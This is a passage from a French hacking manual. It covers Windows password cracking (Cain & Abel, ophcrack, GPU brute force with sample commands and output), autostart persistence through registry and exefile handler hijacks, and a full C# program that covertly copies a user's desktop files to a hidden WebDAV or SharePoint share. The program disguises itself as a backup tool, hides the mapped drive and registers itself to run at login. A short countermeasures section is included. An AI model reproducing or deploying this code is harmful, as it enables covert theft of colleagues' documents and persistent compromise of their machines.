Il existe deux grandes familles pour protéger les mots de passe stockés dans un système. La
première est le cryptage utilisant une clé symétrique (la même clé qui crypte et qui décrypte)
avec des algorithmes comme comme DES et 3DES. La seconde est le cryptage avec des clés
asymétriques (une clé différente pour le cryptage et pour le décryptage) avec des algorithmes
comme RSA et Diffie-Hellman. Ce dernier type est très utilisé, la sécurité du protocole
HTTPS et les certificats sont basés sur ces algorithmes.
Le hachage consiste non pas à crypter un mot de passe, mais à en calculer un hash grâce à un
algorithme tel que SHA1, MD4 ou MD5. C’est une technique très utilisée puisque le mot de
passe ne peut pas être décrypté en tant que tel. De plus, si un mot de passe était crypté et non
pas haché, la clé de décryptage devrait forcément être stockée sur le système, ce qui pourrait
être un point faible. Le hash, lui, est irréversible. Mais ce n’est pas parce qu’il ne peut pas être
décrypté qu’on ne peut pas le trouver.
Pour trouver un mot de passe crypté avec DES ou 3DES, la solution la plus simple consiste
non pas à le casser directement, mais à trouver et à s’emparer de la clé de décryptage. Il faut
pour cela observer et analyser le fonctionnement des applications l’utilisant. Vous pouvez
consulter la première partie de ce chapitre, vous y verrez comment trouver et décrypter les
clés Wi-Fi stockées sur votre machine.
Les mots de passe de la majorité des systèmes, y compris les systèmes Windows, sont
protégés. Ils n’enregistrent pas le mot de passe en clair ou avec un cryptage réversible. Depuis
Windows Vista, le système enregistre seulement le hash d’un mot de passe en NTLM et non
plus en LM, comme c’était le cas avant. Puis, le hash est crypté avec une clé symétrique, celle
du système (syskey). Plus d’informations sont aussi disponibles dans la section Comment
récupérer un mot de passe depuis le réseau ?.
Comment fonctionne l’ouverture de session alors que le mot de passe ne peut pas être
décrypté ?
Lors de l’ouverture d’une session locale, l’utilisateur est invité à donner son nom d’utilisateur
et son mot de passe qui est alors transformé en Unicode puis haché avec MD4. Puis, il est
comparé à celui qui est stocké. Et c’est de la même manière qu’il est possible de trouver un
mot de passe à partir de son hash, en comparant le hash MD4 d’un mot de passe potentiel au
hash du mot de passe stocké.
b. Les principes du craquage de mots de passe
Il existe beaucoup d’outils qui permettent de cracker des mots de passe Windows. Certains
sont gratuits, d’autres non. Ces logiciels utilisent trois types de technique. Si l’on reprend
notre extraction, nous pouvons constater qu’aucun mot de passe LM n’est stocké. Certains
outils d’extraction donneront une valeur LM, mais elle sera toujours la même pour tous les
mots de passe.
Admin :1006 :No Password :E19CCF75EE54E06B6A5907AF13CEF42
Pour tester un mot de passe et pour mieux comprendre le fonctionnement de ces outils, nous
allons prendre une application de test téléchargeable avec sa source sur notre site. Cette
application permet d’insérer un mot de passe en clair, de le transformer en Unicode, puis de
hacher le résultat en MD4. Nous pourrons donc tester la validité d’un mot de passe.

Il s’agit dans l’exemple du mot de passe « P@ssw0rd », comme le mot de passe récupéré par
le dump. Vous trouverez, dans le chapitre Fabriquer ses propres outils de hacking, le code
source en .NET d’une application permettant de casser un mot de passe numérique jusqu’à
6 chiffres. L’application se base sur les principes du brute force par comparaison.
c. Brute force
La première technique de cassage est le brute force. Le programme essaie des combinaisons
les unes après les autres en se basant sur une suite, qu’il transforme en Unicode puis qu’il
hache de la même manière que le système le fait pour stocker un mot de passe, puis il
compare les résultats du hachage au mot de passe qui a été récupéré par un outil d’extraction
vu auparavant.
Cain & Abel donne la possibilité de cracker des mots de passe sniffés depuis le réseau, depuis
la SAM ou en important un fichier de dump.
Allez sur l’onglet Craker et cliquez sur +.

Sélectionnez l’utilisateur, puis cliquez avec le bouton droit de la souris. Choisissez ensuite le
moyen à mettre en œuvre pour casser le mot de passe.

Pour un mot de passe de la SAM Windows, utilisez Brute-Force Attack - NTLM Hashes.
Vous pouvez aussi tester un mot de passe, comme l’application d’avant pour laquelle les
sources vous sont fournies.
Lors d’une attaque en brute force, vous allez pouvoir choisir les caractères à utiliser ainsi que
la longueur minimum et maximum du mot de passe à tester.

Pour savoir comment configurer l’application, vous pouvez vous inspirer de la stratégie de
sécurité appliquée à votre machine. Vous la retrouverez en ouvrant gpedit.msc. Plus
d’informations à ce sujet dans le chapitre Recherche d’informations.
d. Dictionnaire
La deuxième technique est très semblable, c’est aussi du brute force. Elle ne se base pas sur
des suites, mais sur un dictionnaire où les informations sont en clair et les mots de passe sont
lus, transformés en Unicode, hachés puis comparés à ceux extraits du système.
Cain & Abel permet aussi l’utilisation d’un dictionnaire. Il y en a un fourni avec le logiciel ici
: C:\Program Files (x86)\Cain\Wordlists\Wordlist.txt
Vous pouvez aussi fabriquer votre propre dictionnaire à partir de logiciels qui dérivent des
mots ou des phrases pour en faire une liste adaptée à un contexte particulier.

e. Rainbow table
La dernière technique est peu différente. Elle se base sur une sorte de base de données
stockant un ensemble de hashs et de mots de passe correspondants. Elle a le nom de Rainbow
table.
Téléchargez et installez 0phcrack, qui est une application gratuite de la société suisse
Objectif Sécurité. Vous la trouverez sur : http://ophcrack.sourceforge.net/
Lors de l’installation, sélectionnez le téléchargement des tables gratuites pour Windows
Vista.

Une fois les tables téléchargées et installées, pour extraire les mots de passe de la SAM,
cliquez sur Load - Local SAM with samdump2. Il est aussi possible d’extraire la SAM
d’une machine distante.

Vous pouvez ensuite lancer le casse des mots de passe. Attention toutefois, les tables gratuites
ne comprennent pas toutes les possibilités. Il est aussi possible d’acheter des tables très
complètes suivant vos besoins, renseignez-vous sur le site d’Objectif Sécurité. L’avantage de
cette solution c’est qu’il est très rapide de retrouver un mot de passe, par rapport au brute
force.
Cain & Abel permet aussi de casser des mots de passe en créant vos propres rainbow tables à
l’aide de WinRtGen, qui est aussi installé avec.
Vous le trouverez ici : C:\Program Files (x86)\Cain\Winrtgen\WinRtGen.exe

Vous pourrez constater qu’avec 12 Go de données, vous couvrez 100 % des mots de passe
jusqu’à 5 caractères avec la majorité des caractères le plus couramment utilisés.
On constate aussi qu’il faut plus de 35 To pour n’avoir que 99,99 % des mots de passe à 8
caractères.
Les mots de passe numériques jusqu’à 7 caractères ne nécessitent que 6 Mo, mais tout de
même 58 minutes à calculer. Est-ce que cela en vaut la peine ?

Une fois les tables créées, il suffit de les sélectionner dans le menu du bouton droit de la
souris.

f. Utiliser SQL
Vous pouvez aussi créer vos propres bases de données avec SQL pour faire votre application.
Le langage SQL permet le calcul d’un hash MD4, mais aussi le calcul de hash MD5, SHA1
ainsi que le calcul d’autres algorithmes utilisés pour sécuriser le mot de passe. Il peut aussi
gérer le stockage et la recherche.

g. On-line
Il existe des sites et des services web proposant la recherche de mots de passe depuis un hash.
http://crackstation.net en est un. Il suffit de chercher NTLM crack online sur Google.

h. Utilisation de la carte graphique


Une dernière application très efficace en brute force est disponible ici :
http://www.golubev.com/hashgpu.htm
Elle se nomme IGHASHGPU. Ce logiciel utilise la puissance de calcul de votre carte
graphique. La rapidité de réponse en est décuplée.

ighashgpu.exe -h:9D4518F84296B9CE26D02F229870D2D4 -t:md4


Le logiciel ne supporte malheureusement que certaines cartes graphiques ATI et NVIDIA. Par
contre, vous pouvez avoir plusieurs cartes supportées installées en même temps.
****************************************************************
*** MD4/MD5/SHA1 GPU Password Recovery v0.70.48.4 ***
*** For ATI RV 7X0 cards and nVidia ’CUDA’ ones (G80+) ***
*** (c) 2009-2010 Ivan Golubev, http://golubev.com ***
*** see "readme.htm" for more details ***
****************************************************************
*** Any commercial use of this program is strictly forbidden ***
****************************************************************

Found 2 CAL device(s)


Found 1 CUDA device(s)
Starting brute-force attack, Charset Len = 36, Min passlen = 4,
Max passlen = 7
Charset (unicode -> 0) [abcdefghijklmnopqrstuvwxyz0123456789]
Charset in HEX: 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71
72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39
Starting from [aaaa]
Hash type: MD5, Hash: cbe1d6d5800ec1e03a5f2a64882a0d41
We’re running at ATI and NVIDIA GPUs simultaneously. It isn’t that
common situation, so some issues possible.
Device #0: [RV830] 850.00 Mhz 800 SP
Device #1: [RV7x0] 750.00 Mhz 640 SP
Device #2: [GeForce 8600 GT] 1188.00 Mhz 32 SP
Hardware monitoring disabled.
CURPWD: 66owsnc DONE: 51.02% ETA: 13s CURSPD:
2756.0M=1646.0M+1017.4M+92.6M
Found password: [roger15], HEX: 72 6f 67 65 72 31 35
Processed 42 228 252 672 passwords in 16s.
Thus, 2 731 452 307 password(s) per second in average.
On voit dans l’exemple précédent qu’avec trois cartes graphiques, il est possible au logiciel de
tester 2 731 452 307 mots de passe MD5 en 1 seconde.

8. Contre-mesures
Il est possible de casser un mot de passe seulement une fois qu’il a été récupéré, il faut donc
au maximum empêcher cette récupération. Pour cela vous pouvez activer NAP (Network
Access Protection), qui devrait garantir que l’antivirus et le pare-feu sont activés et à jour.
Activez également IPsec avec NAP, ce qui empêchera une machine n’étant pas dans le
domaine de communiquer avec les machines sécurisées, le trafic ne pourra donc plus être
intercepté. Si un utilisateur fait passer le trafic sécurisé à travers sa machine par une
redirection de port ou grâce à un ARP spoofing, elle ne pourra pas le décrypter ni le modifier
si IPsec est activé. ARP spoofing peut aussi être détecté et bloqué en utilisant des switchs
capables de voir un changement inhabituel sur l’association adresse IP/adresse MAC. Il reste
aussi la possibilité de fixer sur les serveurs des entrées dans la table ARP IP/MAC à l’aide la
commande arp, mais cela est très lourd et peu efficace.
Le proxy des clients doit être configuré via une stratégie de groupe pour que l’utilisateur ne
puisse pas le modifier. Les scripts d’une page web écoutant les touches du clavier sont
difficiles à détecter, il convient donc de sensibiliser les utilisateurs sur les faux sites et de leur
expliquer comment les détecter. Vous devez activer HTTPS sur vos serveurs web, même
internes, sinon une simple redirection de port permettrait à un utilisateur interne de récupérer
des mots de passe en clair. Le fait que l’utilisateur ne puisse pas utiliser Netsh, la ligne de
commande, ou qu’il ne soit pas administrateur de sa machine l’empêchera de configurer la
redirection de port avec Netsh, toutefois cela reste possible avec PowerShell.
Les sites web internes comme externes doivent être testés avec des outils d’audit afin de
détecter d’éventuelles failles XSS, injections SQL, CMD, etc. Pour cela, vous pouvez utiliser
des outils comme W3af (http://w3af.org) ou Nikto (http://www.cirt.net/Nikto2) qui sont
gratuits.
Introduction à .NET
Depuis 2001, Microsoft a introduit .NET, un framework qui ne cesse d’évoluer pour arriver,
au moment de l’écriture de ce livre, à la version 4.5. .NET a plusieurs buts pour Microsoft. Le
premier est de fournir un ensemble de classes compatibles avec toutes les versions de ses
systèmes d’exploitation. En effet, une application développée en .NET est exécutable tant sur
Windows XP que sur Windows 8, pour autant que le framework soit installé sur la machine.
Sur Windows Vista, .NET 2.0 est intégré. Windows 7 intègre les versions 2 et 3.5, et
Windows 8, la version 4.5. La deuxième motivation était de donner au développeur des
classes, des fonctions et des propriétés compatibles entre plusieurs langages. De base,
Microsoft propose plusieurs langages comme C++, VB.NET, J#, et le plus utilisé, C#. Ceci
est possible, car lors de la compilation d’une application en .NET, le compilateur transforme
le code VB, C#, etc., en MSIL (Microsoft Intermediate Language). Il n’est transformé en
langage machine qu’à l’exécution, et cette transformation ne concerne que les parties du code
effectivement utilisées par l’application. C’est le JIT (Just In Time compiler) qui s’en occupe.
Un autre avantage est que votre application ne nécessitera en général pas de DLL, puisque
presque toutes les fonctions sont intégrées dans le framework et auront donc un poids très
faible pour énormément de possibilités.
L’image suivante présente la pile du framework avec les avancées suivant la version.

Microsoft propose un outil très puissant, Visual Studio, pour développer vos applications
Windows, téléphone ou web. Ce logiciel permet de corriger les fautes de frappe et propose
une écriture intuitive, un debugger et la compilation simplifiée, même si vous y ajoutez des
références ou utilisez des webservices.
Il existe des versions gratuites de Visual Studio et de SQL Server. Les versions gratuites sont
limitées dans les possibilités de se connecter et de manager des bases de données, dans le type
de développement (par exemple, le développement de services Windows n’est intégré qu’à
partir de la version Pro, payante). D’autres petites limitations sont présentes, mais en général,
les versions gratuites sont suffisantes pour programmer nos outils de piratage. Vous trouverez
ces applications ici : http://www.microsoft.com/france/visual-studio/essayez/express.aspx

1. Comment compiler son application sans Visual Studio ?


En entreprise, il n’est pas toujours possible d’installer un logiciel comme Visual Studio même
s’il est gratuit. Surtout que pour fonctionner, il nécessite les droits administrateurs locaux.
Bien sûr si vous avez un PC à la maison, vous pouvez l’installer dessus et ensuite apporter
votre application dans l’entreprise. Mais ce scénario n’est pas toujours possible, par exemple
sur un bureau à distance, ou sur une machine ne vous donnant pas le droit d’importer un
fichier. Heureusement pour nous, Visual Studio n’est pas nécessaire pour compiler du code
.NET. Les compilateurs pour VB, JScript et C# sont installés avec la version .NET de votre
système. Sur Windows 7, vous trouverez le compilateur C# que nous utiliserons dans le
dossier suivant pour x86 : C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
Et pour la version 64 bits : C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
Il se peut que votre machine soit tenue à jour par votre administrateur et intègre donc la
dernière version du framework.
Pour Windows 8, vous ne trouverez pas la version 2 installée par défaut. Si vous la voulez,
vous devez l’ajouter en passant par la console d’ajout/suppression des programmes. Windows
8 a par contre la version 4.5, ce qui nous permettra de compiler nos exemples. Vous trouverez
le compilateur dans le dossier suivant pour x86 :
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Et pour la version 64 bits : C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Si vous utilisez des fonctions spécifiques à un type de processeur et que vous ciblez un
serveur 2008 R2 ou un serveur 2012, pensez à le compiler en 64 bits pour être sûr de la bonne
exécution sur la machine cible.
Pour écrire votre application, vous pouvez utiliser le Bloc-notes et ensuite enregistrer votre
création en fichier texte.
Une fois le document créé, vous pourrez le compiler de la manière suivante :
Ouvrez une ligne de commande en démarrant cmd.exe ou créez un raccourci, si vous n’avez
pas le droit d’exécuter cmd.
Allez dans le dossier où se trouve le framework :
cd C:\Windows\Microsoft.NET\Framework\v2.0.50727
Exécutez le compilateur avec les paramètres suivants:
csc /out:c:\temp\app.exe /target:winexe c:\temp\fichier.txt
Explication :
csc.exe est le compilateur C#.
/out permet de donner le chemin de sortie pour l’application compilée.
Vous avez ensuite le choix concernant le type de sortie :
/target :winexe crée une application de type Windows Forms.
/target :exe crée une application console, c’est la sortie par défaut.
/target :library crée un fichier DLL.
Le denier paramètre est le fichier source, qui dans notre cas est fichier.txt.
/win32icon:fichier.ico permet d’ajouter une icône à votre application.
platform:x86 permet de spécifier que l’application ne fonctionne que sur une architecture x86.
Par défaut, anycpu est utilisé. Anycpu veut dire que l’application s’exécute, peu importe le
type de processeur.
D’autres paramètres existent et vous les trouverez en exécutant CSC.exe / ?.
Si vous n’avez pas le droit de démarrer la ligne de commande, soyez rassuré. Un raccourci
vous permettra de réaliser la compilation tout aussi simplement.
Créez un nouveau raccourci vers le compilateur avec les paramètres :
Modifiez le chemin du dossier Démarrer dans pour que les fichiers temporaires soient dans
un dossier où vous avez le droit d’écriture, dans l’exemple, c:\temp.
Lancez votre raccourci et votre application sera compilée.
Comme vous avez pu le constater, il est très simple de compiler une application depuis un
fichier texte. Grâce à vos nouvelles connaissances, vous allez pouvoir piéger une application
qui compile votre logiciel en direct, prenant en compte la configuration et les propriétés
propres à la cible.
Les exemples qui suivent ont été testés sur Windows 8 Pro. Il est possible que certaines lignes
de code soient à modifier pour que cela fonctionne sur d’autres versions de Windows.

Forcer l’exécution d’une application


Faire exécuter une fois, une application truquée par un utilisateur ou un administrateur est
faisable. Mais demander plusieurs fois à une personne d’exécuter un logiciel piégé est risqué
car la cible peut se douter de quelque chose. Vous risquez de manquer d’excuses. L’idéal est
que votre application soit capable de démarrer à distance ou automatiquement, ce qui forcera
son exécution sans l’intervention de l’utilisateur.
Le démarrage automatique d’une application peut se faire avec différentes techniques. Nous
allons ensemble les analyser. Certaines nécessitent une configuration avec des droits
administrateurs ou système, d’autres sont possibles avec uniquement des droits utilisateurs. La
différence est le domaine d’application. Un changement nécessitant les droits administrateurs
permet un démarrage d’une application pour tous les utilisateurs d’une machine. Un
changement avec seulement les droits utilisateurs n’impactera que l’utilisateur cible, ce qui
suffit dans la majorité des cas à obtenir les informations souhaitées.

1. Les moyens classiques


Le démarrage automatique d’une application en modifiant le système avec des droits
administrateurs peut se faire de manière classique :
En ajoutant un fichier ou un raccourci dans le dossier :
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
En ajoutant votre logiciel à la clé de registre ci-dessous :
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Pour un système 64 bits, la clé suivante est aussi disponible :
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
Votre configuration doit se faire comme dans cet exemple :
Ouvrez l’éditeur du registre Regedit.exe, puis allez à l’une des clés suggérées.
Créez une nouvelle valeur de type Chaîne.
Donnez-lui un nom, puis ajoutez comme valeur le chemin de votre application.

Sans les droits administrateurs, il est tout autant possible de forcer le démarrage d’une
application.
 En ajoutant votre application ou son raccourci dans le dossier de démarrage de
l’utilisateur :
C:\Users\NomUtilisateur\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\StartUp
 En ajoutant une entrée dans la clé de registre de démarrage de l’utilisateur :
HK_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
 Créez une nouvelle valeur de type Chaîne.

 Donnez un nom, puis ajoutez comme valeur le chemin de votre application.


Ces applications démarreront automatiquement dès qu’un utilisateur ouvrira une
session. Pour tester leur démarrage, fermez et ouvrez à nouveau votre session ou
redémarrez votre PC.

2. Les moyens non conventionnels


Pour faire démarrer votre application automatiquement d’autres moyens un peu moins
conventionnels existent, comme installer un service, remplacer le Shell, changer l’exécution
de l’image d’une application ou encore modifier le comportement de l’extension EXE.
Avec des droits administrateurs, vous pouvez faire les modifications suivantes :
Pour remplacer le Shell de démarrage, par votre propre application :
Modifiez la valeur de Shell de la clé :
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\
Redémarrez votre PC, votre application aura pris la place de Windows.
Pour modifier le démarrage d’un exécutable en particulier par le vôtre :
Ajoutez une clé qui correspond au nom de l’exécutable à remplacer, par exemple pour le
Bloc-notes (notepad.exe) :
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\
CurrentVersion\Image File Execution Options\Notepad.exe
Ajoutez une valeur de type Chaîne ayant le nom Debugger et comme valeur cmd.exe.

Cliquez sur le raccourci du Bloc-notes ou exécutez notepad.exe. C’est la console qui


s’exécutera.
Modifiez le fonctionnement de l’extension EXE.
Modifiez la valeur par défaut de la clé qui définit comment s’exécute un fichier exe.
HKEY_CLASSES_ROOT\exefile\shell\open\command
Écrivez à la place :
cmd.exe /k dir | start %1
Lors de l’exécution d’une application, la ligne de commande est démarrée et ensuite,
l’application souhaitée démarre à son tour.
Démarrez Paint pour en avoir une illustration.
Les applications exécutées en tant qu’un autre utilisateur ou avec l’UAC activé peuvent être
modifiées ici :
HKEY_CLASSES_ROOT\exefile\shell\runas\command
Changez les valeurs par défaut ainsi que la valeur de IsolatedCommand.
cmd.exe /k dir | start %1
Démarrez une application avec des privilèges élevés pour tester le changement.

Paint s’ouvre et la console est démarrée avec des droits administrateurs.


Avec uniquement les droits utilisateurs, il est possible de réaliser quasiment tout ce que nous
avons vu, mais sous des clés de registre différentes où l’utilisateur a par défaut un accès en
écriture.
Pour modifier le système qui démarre, ajoutez à la clé ci-dessous une sous-clé de type
Chaîne avec le nom Shell :
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\
CurrentVersion\Winlogon
Dans la valeur, écrivez cmd.exe.

Fermez votre session, puis connectez-vous. Le système démarre uniquement la ligne de


commande. Écrivez Explorer.exe si vous souhaitez démarrer Windows normalement.
Pour modifier le comportement d’un exécutable par l’extension, créez le fichier de registre
suivant :
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\exefile]

[HKEY_CURRENT_USER\Software\Classes\exefile\DefaultIcon]
@="%1"

[HKEY_CURRENT_USER\Software\Classes\exefile\Shell]

[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\Open]

[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\Open\Command]
@="cmd.exe /k dir | start %1"
"IsolatedCommand"="\"%1\" %*"

[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\runas]

[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\runas\command]
@="\"%1\" %*"
"IsolatedCommand"="cmd.exe /k dir | start %1"
Exécutez le fichier créé et testez en ouvrant MSpaint.exe.
La ligne de commande ainsi que l’application s’ouvrent. Cela fonctionne aussi avec des
privilèges élevés.
Vous pouvez aussi créer un service Windows qui démarrera automatiquement, mais il n’y
aura pas d’interaction entre votre service et l’utilisateur. L’installation d’un service nécessite
des droits administrateurs sur la machine. Vous trouverez plus de détails sur la méthode dans
les sections suivantes.

Exfiltrer des données en différentiel


Un utilisateur même avec peu de droits a un rôle dans l’entreprise. Ce rôle, comme
comptable, vendeur, chargé de relation client ou support technique, donne des droits d’accès à
des fichiers, des programmes et globalement, à une foule d’informations. Ces informations
sont intéressantes pour celui qui les veut ou qui en a besoin. Pour celui qui les a devant les
yeux tous les jours ce n’est pas forcément pertinent. Nous allons dans ce cadre voir comment
voler des informations qui se trouvent dans les dossiers de documents de l’utilisateur. Le
dossier pourrait être n’importe quel dossier pour lequel la cible a des droits. Les documents
volés seront copiés vers un dossier partagé, un site WebDAV ou encore un site SharePoint.

1. Utiliser un partage comme destination


Si la machine de l’utilisateur est dans le réseau d’où est lancée l’attaque, alors il sera pour
nous très simple de récupérer les fichiers. Pour cela, faites un partage de dossier.
Créez un dossier dans le dossier public qui se nomme users.
C:\Users\Public\users
Cliquez avec le bouton droit de la souris, choisissez Propriétés et allez dans l’onglet Partage
- Partage avancé….

Partagez le dossier et donnez le droit Contrôle total à tout le monde.


Dans l’onglet Sécurité, ajoutez le droit Modifier au groupe Tout le monde.

2. Configurer un serveur avec WebDAV comme destination


Si la machine n’est pas dans le même réseau, ce qui peut être le cas pour le PC portable d’un
commercial qui voyage souvent, nous allons pour cela configurer un serveur web qui pourra
fonctionner comme un serveur de fichiers. On pourra y exfiltrer des documents. Nous aurions
pu utiliser un serveur FTP, mais ce protocole est très rarement ouvert en sortie sur les pare-feu
des entreprises.
Pour ce faire, installez IIS sur un serveur ou sur votre machine avec les composants
WebDAV, comme ici sur Windows 8.

Une fois l’installation effectuée, configurez l’authentification pour que tout le monde puisse
écrire dans le dossier. Pour créer une nouvelle règle, ouvrez la console de gestion IIS et
utilisez le menu Ajouter une règle de création WebDAV. Dans le formulaire, sélectionnez
Tous les contenus, Tous les utilisateurs ainsi que Lecture, Source, Écriture, puis validez
avec le bouton OK. Dans le menu de droite, cliquez sur Activer WebDAV.
Retournez dans la page précédente et activez l’exploration de répertoire.

Retournez dans la page précédente. Ajoutez une application sur le site par défaut.
Nommez-la users et donnez le chemin du dossier Users créé précédemment dans le dossier
public.

Testez votre site en allant dans l’explorateur Windows, mappez un lecteur réseau sur votre
site ou en exécutant la ligne de commande suivante :
Net use z: \\localhost\users
Si la commande s’est bien terminée, vous devriez pouvoir ajouter des documents dans l’unité
Z: depuis l’explorateur Windows.

3. Configurer SharePoint comme destination


Dans SharePoint ou Office 365, nous utiliserons une bibliothèque de document pour envoyer
nos fichiers. Pour cela, créez une bibliothèque de documents ou utilisez une bibliothèque
existante.

Allez dans la bibliothèque de documents et cliquez sur Ouvrir avec l’Explorateur.


Vous obtiendrez une adresse web comme celle obtenue pour WebDAV.
http://monsite/TeamSite/test/Documents
Utilisez cette URL pour monter votre partage réseau :
Net use u: http://monsite/TeamSite/test/Documents

4. Créer l’application
Vous avez pu voir les différentes options de destination pour les fichiers exfiltrés. Un site
SharePoint ou WebDAV permet d’envoyer ces fichiers depuis l’extérieur et même, pourquoi
pas, en HTTPS. Cette application pourrait très bien servir à faire un backup différentiel, ce qui
change, c’est que l’utilisateur n’est pas au courant de cette sauvegarde.
Pour envoyer nos fichiers vers la destination, nous ferons une simple copie vers une lettre de
lecteur montée par notre application. La lettre montée sera B: puisque cette lettre n’est jamais
utilisée par le système. Elle était à l’origine réservée à un éventuel deuxième lecteur de
disquettes.
Process map = new Process();
if (active && destinationWeb.Length > 5)
{
map.StartInfo.Arguments = @"/c net use " +
lettreReseau + " " + destinationWeb;
}
else
{
map.StartInfo.Arguments = @"/c net use " +
lettreReseau + " /del /y";
}
map.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
map.StartInfo.FileName = "cmd.exe";
map.Start();
map.WaitForExit(5000);
}
Pour que l’utilisateur ne voit pas ce disque, nous le monterons avant la copie puis il sera à
nouveau démonté.
Nous ajoutons notre application au démarrage, pour que celle-ci garde la copie à jour.
Process reg = new Process();
reg.StartInfo.Arguments = "add
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\
Run /v \"sync Backpup tool\" /t REG_SZ /d \"" +
Path.Combine(Environment.CurrentDirectory, "Sync.exe") + "\" /f";
reg.StartInfo.FileName = "reg.exe";
reg.StartInfo.WindowStyle =
ProcessWindowStyle.Hidden;
reg.Start();
reg.WaitForExit();
Si l’utilisateur exécute notre application avec des droits administrateurs, celle-ci appliquera
des clés de registre correspondant à une stratégie de groupe pour cacher le disque utilisé dans
l’explorateur.
reg.StartInfo.Arguments = "add
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\explorer /v \"NoDrives\" /t REG_DWORD /d " + disqueID + " /f";
reg.Start();
reg.WaitForExit();
reg.StartInfo.Arguments = "add
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\explorer /v \"NoViewOnDrive\" /t REG_DWORD /d " +
disqueID + " /f";
reg.Start();
reg.WaitForExit();
Pour cacher le disque B, nous utiliserons le chiffre 2. Pour comprendre, regardez le tableau
suivant :

A: B: C: D: E:

1 2 4 8 16

C’est un code binaire qui est utilisé. Si vous souhaitez C et E, vous utiliserez alors 20.
Nous allons surveiller le dossier source de la copie afin de recevoir une notification dès qu’un
fichier est ajouté, renommé ou mis à jour. Il en sera de même sur notre destination.
FileSystemWatcher survFichiers = new FileSystemWatcher(source);
survFichiers.Filter = "*.*";
survFichiers.Path = source;
survFichiers.NotifyFilter =
NotifyFilters.LastAccess | NotifyFilters.LastWrite
| NotifyFilters.FileName |
NotifyFilters.DirectoryName;
survFichiers.EnableRaisingEvents = true;

survFichiers.Changed += survFichiers_Change;
survFichiers.Created += survFichiers_Change;
survFichiers.Renamed += survFichiers_Renommer;
Le code complet est téléchargeable sur la page Informations générales.
Créez un fichier texte qui se nomme backup_cmd.txt avec le code suivant :
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Security.Permissions;
using System.Text;

namespace File_Copy
{

class Program
{
//ne prend volontairement pas les sous-dossiers
static string source =
Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
static string destinationDossier = @"b:\desktop\" +
Environment.UserName;
static string lettreReseau = "b:";
static int disqueID= 2 ; // a=1, b=2 , c =4, d=8 -> c et d =
12 etc...
static string destinationWeb =
"http://localhost:90/test/"; //si webdav

static void Main(string[] args)


{
try
{
FileSystemWatcher survFichiers =
new FileSystemWatcher(source);
survFichiers.Filter = "*.*";
survFichiers.Path = source;
survFichiers.NotifyFilter =
NotifyFilters.LastAccess | NotifyFilters.LastWrite
| NotifyFilters.FileName | NotifyFilters.DirectoryName;
survFichiers.EnableRaisingEvents = true;

survFichiers.Changed += survFichiers_Change;
survFichiers.Created += survFichiers_Change;
survFichiers.Renamed += survFichiers_Renommer;
cacherDisque();
PremiereCopie();
Console.ReadLine();
}
catch { }
}
static void cacherDisque()

{
try
{
Process reg = new Process();
reg.StartInfo.Arguments = "add
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\
Run /v \"sync Backpup tool\" /t REG_SZ /d \"" +
Path.Combine(Environment.CurrentDirectory, "Sync.exe") + "\" /f";
reg.StartInfo.FileName = "reg.exe";
reg.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
reg.Start();
reg.WaitForExit();
reg.StartInfo.Arguments = "add
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\explorer /v \"NoDrives\" /t REG_DWORD /d " + disqueID +
" /f";
reg.Start();
reg.WaitForExit();
reg.StartInfo.Arguments = "add
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\explorer /v \"NoViewOnDrive\" /t REG_DWORD /d " +
disqueID + " /f";
reg.Start();
reg.WaitForExit();

}
catch { }
}

static void monterDisque(bool active)


{
try{
Process map = new Process();
if (active && destinationWeb.Length > 5)
{
map.StartInfo.Arguments = @"/c net use " +
lettreReseau + " " + destinationWeb;
}
else
{
map.StartInfo.Arguments = @"/c net use " +
lettreReseau + " /del /y";
}
map.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
map.StartInfo.FileName = "cmd.exe";
map.Start();
map.WaitForExit(5000);
}
catch { }
}
static void survFichiers_Change(object sender,
FileSystemEventArgs e)
{
try{
monterDisque(true);
if (!Directory.Exists(destinationDossier))
{
Directory.CreateDirectory(destinationDossier);
File.Copy(source, destinationDossier, true);
}
string destination = Path.Combine(destinationDossier,
e.Name);
File.Copy(e.FullPath, destination, true);
monterDisque(false);
}
catch { }
}
static void survFichiers_Renommer(object sender,
RenamedEventArgs e)
{
try
{
monterDisque(true);
string AncienNom = Path.Combine(destinationDossier,
e.OldName);
string NouveauNom = Path.Combine(destinationDossier,
e.Name);
File.Move(AncienNom, NouveauNom);
monterDisque(false);
}
catch { }
}

static void PremiereCopie()


{
try{
monterDisque(true);
if(!Directory.Exists(destinationDossier))
Directory.CreateDirectory(destinationDossier);
foreach (string fichier in Directory.GetFiles(source))
{
string destination = Path.Combine(destinationDossier,
Path.GetFileName(fichier));

File.Copy(fichier, destination, true);


}
monterDisque(false);
}
